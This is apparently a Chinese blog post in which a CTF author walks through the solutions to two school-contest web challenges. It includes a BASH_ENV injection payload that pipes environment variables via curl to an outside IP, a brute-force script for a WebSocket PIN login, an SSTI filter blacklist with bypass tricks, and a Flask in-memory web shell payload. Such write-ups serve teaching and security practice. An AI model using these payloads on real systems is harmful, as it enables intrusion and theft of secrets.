• [SCUCTF2022]校赛Web出题笔记


    前言

    本次校赛我出了两个题,一个签到一个中等,由于自己的原因导致这两道题都出现了比较离谱的非预期,这里给师傅们谢罪了。

    checkin

    <?php
    error_reporting(0);
    
    $action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
    
    if($action==='inject'){
        die('Permission denied');
    }
    
    $lock = call_user_func(($_GET['Y']));
    if (isset($_GET['env']) && $lock == "Web_Dog" && $action == 'inject') {
        foreach ($_GET["env"] as $k => $v) {
            putenv("{$k}={$v}");
        }
    
        system("bash -c 'snakin'");
        foreach ($_GET["env"] as $k => $v) {
            putenv("{$k}");
        }
    }
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    考点有两个:弱类型绕过和环境变量注入

    绕过1:

    三元运算这⾥直接⽤了highlight_file的返回值作为$_GET[‘a’] 的初始值

    本地测试此函数的返回值:

     var_dump(highlight_file(__FILE__)); 
    
    • 1

    得到类型为:bool(true)

    如果对$_GET['a']不进⾏赋值,则默认值为true

    那么我们便可以绕过$action == 'inject'的判断

    绕过2:

    同样是弱类型比较,我们需要绕过call_user_func(($_GET['Y']))

    call_user_func — 把第一个参数作为回调函数调用

    那么我们只需找到一个调用后默认返回True的函数即可

    这里使用session_start

    绕过3:

    简单的环境变量注入,给了bash -c,提示使用BASH_ENV,由于该变量默认无回显,利用curl外带数据即可

    payload:

    ?env[BASH_ENV]=$(env | curl -d @- 1.117.171.248:39542)&Y=session_start
    
    • 1

    非预期:

    呜呜呜把这个忘了

    Y=phpinfo
    
    • 1

    Anya

    进入后是一个登陆界面,当用户名输入错误时会提示Unknown user,我们猜测用户名为admin,此时用户名正确但是密码错误提示Incorrect PIN。F12查看源码,得到提示Hgg说这是什么垃圾密码居然只有三位

    查看一下js代码,登陆验证逻辑如下:

    document.querySelector("input[type=submit]").addEventListener("click", checkPassword);
    
    function checkPassword(evt) {
    	evt.preventDefault();
        //Create WebSocket connection
    	const socket = new WebSocket("ws://" + window.location.host + "/internal/ws")
        // Listen for messages
    	socket.addEventListener('message', (event) => {
    		if (event.data == "begin") {
    			socket.send("begin");
    			socket.send("user " + document.querySelector("input[name=username]").value)
    			socket.send("pass " + document.querySelector("input[name=password]").value)
    		} else if (event.data == "baduser") {
    			document.querySelector(".error").innerHTML = "Unknown user";
    			socket.close()
    		} else if (event.data == "badpass") {
    			document.querySelector(".error").innerHTML = "Incorrect PIN";
    			socket.close()
    		} else if (event.data.startsWith("session ")) {
    			document.cookie = "flask-session=" + event.data.replace("session ", "") + ";";
    			socket.send("goodbye")
    			socket.close()
    			window.location = "/internal/user";
    		} else {
    			document.querySelector(".error").innerHTML = "Unknown error";
    			socket.close()
    		} 
    	})
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    WebSocket 是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议。

    WebSocket 使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。在 WebSocket API 中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创建持久性的连接,并进行双向数据传输。

    在 WebSocket API 中,浏览器和服务器只需要做一个握手的动作,然后,浏览器和服务器之间就形成了一条快速通道。两者之间就直接可以数据互相传送。

    浏览器通过 JavaScript 向服务器发出建立 WebSocket 连接的请求,连接建立以后,客户端和服务器端就可以通过 TCP 连接直接交换数据。

    当你获取 Web Socket 连接后,你可以通过 send() 方法来向服务器发送数据,并通过 onmessage 事件来接收服务器返回的数据。

    那么根据代码可知,当用户名和密码验证成功就会跳转到/internal/user路由。那么我们利用python的websockets库模拟客户端进行暴力破解。

    import asyncio
    import websockets
    
    
    async def auth_system(websocket, password):
        while True:
            begin_text = "begin"
            username = "user admin"
            password = "pass "+ password
            await websocket.send(begin_text)
            await websocket.send(username)
            await websocket.send(password)
            response_str = await websocket.recv()
            print(password +" " + response_str)
            if "session" in response_str:
                print("Your pwd is:"+password)
            elif "badpass" in response_str:
                return True
    
    async def main_logic():
        Continue = True
        while Continue:
            for id in range(1000):
                password = str(id).zfill(3)
                async with websockets.connect('ws://1.117.171.248:8651/internal/ws') as websocket:
                    Continue = await auth_system(websocket, str(password))
        
    asyncio.get_event_loop().run_until_complete(main_logic())
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    爆破后进入,显示Hi,snakin.Tell me your name bro!

    猜测需要提交一个name参数,简单测试一下会发现有WAF

    黑名单如下:

    bl = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9','\\', '+', 'class', 'init', 'config', 'self', 'globals', 'builtins', '{%', 'true','false', 'join', 'url_for', 'eval', 'session', 'lipsum', 'cycler', 'joiner', 'dir', 'first', 'last', '|','%','form','value','data','mro','base','cat','echo','$','env','export','system']
    
    • 1

    如果要执行命令我们可以考虑找__builtins__模块

    __builtins__是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如absmax,就是因为__builtins__这类模块在Python启动时为我们导入了,可以使用dir(__builtins__)来查看调用方法的列表,然后可以发现__builtins__下有eval__import__等的函数,因此可以利用此来执行命令。

    那么在测试后会发现get_flashed_messages没有被过滤,我们可以借此获取__builtins__模块。接下来可能就要考虑执行命令,但是这个过滤导致SSTI的payload很难构造,此时我们会想到利用flask内存马。(我删掉了env命令)

    一个原始的payload:

    url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
    
    • 1

    在实际应用中往往都存在过滤:

    • url_for可替换为get_flashed_messages或者request.__init__或者request.application.
    • 代码执行函数替换, 如exec等替换eval.
    • 字符串可采用拼接方式, 如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al'].
    • __globals__可用__getattribute__('__globa'+'ls__')替换.
    • []可用.__getitem__().pop()替换.
    • 过滤{{或者}}, 可以使用{%或者%}绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.
    • 过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request['args']或者request['values']绕过.
    • 过滤了.可以采用attr()[]绕过.
    • 其它的手法参考SSTI绕过过滤的方法即可…

    最终我们通过:

    get_flashed_messages.__getattribute__('__globa'~'ls__').__getitem__('__bui'~'ltins__').__getitem__('ex'~'ec')("app.add_url_rule('/shell','shell',lambda:__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd','whoami')).read())",{'_request_ctx_stack':get_flashed_messages.__getattribute__('__globa'~'ls__')['_request_ctx_stack'],'app':get_flashed_messages.__getattribute__('__globa'~'ls__')['current_app']})
    
    • 1

    完成shell的写入,访问/shell路由

    输出flag:

    echo $FLAG
    
    • 1

    非预期:

    实际上由于时间原因并没有过滤完全,导致可以直接利用os模块执行命令

    {{get_flashed_messages[%22__globAls__%22.lower()][%22__buIltins__%22.lower()].__import__(%22os%22)[%22eNviron%22.lower()]}}
    
    • 1

    正确的过滤,应该遍历删除引号等再检查有没有字符存在,其中环境变量相关的函数需要全部检查。

    env,environ,export,echo $flag四种
    
    • 1
  • 相关阅读:
    Transformer中的位置编码PE(position encoding)
    Flullter学习第一天:什么是Flullter与Flullter安装
    管理那些事
    Dell R720服务器已有win10系统下安装Ubuntu10.04双系统
    Python---文件打开、读取、写入
    Vue项目配置文件整理
    编码与进制
    【SIFT】LoG 与 DoG
    AC自动机
    报错__WEBPACK_IMPORTED_MODULE_1_vuex__.a.store is not a constructor
  • 原文地址:https://blog.csdn.net/cosmoslin/article/details/125012033